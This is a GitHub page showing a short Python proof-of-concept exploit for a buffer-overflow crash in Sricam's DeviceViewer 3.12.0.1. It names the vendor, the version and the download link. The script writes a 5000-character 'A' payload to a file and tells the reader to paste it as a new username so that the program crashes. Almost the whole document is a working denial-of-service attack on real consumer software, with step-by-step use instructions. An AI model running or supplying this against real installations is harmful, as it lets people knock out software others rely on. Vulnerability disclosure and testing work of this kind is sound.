-
Notifications
You must be signed in to change notification settings - Fork 4
Expand file tree
/
Copy pathDeviceViewer-3.12x-BOF-DOS1.py
More file actions
34 lines (28 loc) · 987 Bytes
/
DeviceViewer-3.12x-BOF-DOS1.py
File metadata and controls
34 lines (28 loc) · 987 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python
# Exploit Title: DeviceViewer 3.12.0.1 - 'creating user' DOS buffer overflow
# Date: 9/23/2019
# Exploit Author: Nu11pwn
# Vendor Homepage: http://www.sricam.com/
# Software Link: http://download.sricam.com/Manual/DeviceViewer.exe
# Version: v3.12.0.1
# Tested on: Windows 7
# Steps to reproduce:
# 1. Generate a malicious payload via the POC
# 2. In the Sricam application create a new user
# 3. When creating a new user, set the username as the malicious payload
# 4. Observe a program DOScrash
payload = "A" * 5000
try:
evilCreate =open("exploit.txt","w")
print("""
DeviceViewer 3.12.0.1 DOS exploit POC
Author: Nu11pwn
""")
print("[x] Creating malicious file")
evilCreate.write(payload)
evilCreate.close()
print("[x] Malicious file create")
print("[x] When creating a new user, set the username to the file contents")
print("[x] Watch the program crash")
except:
print("[!] File failed to be created")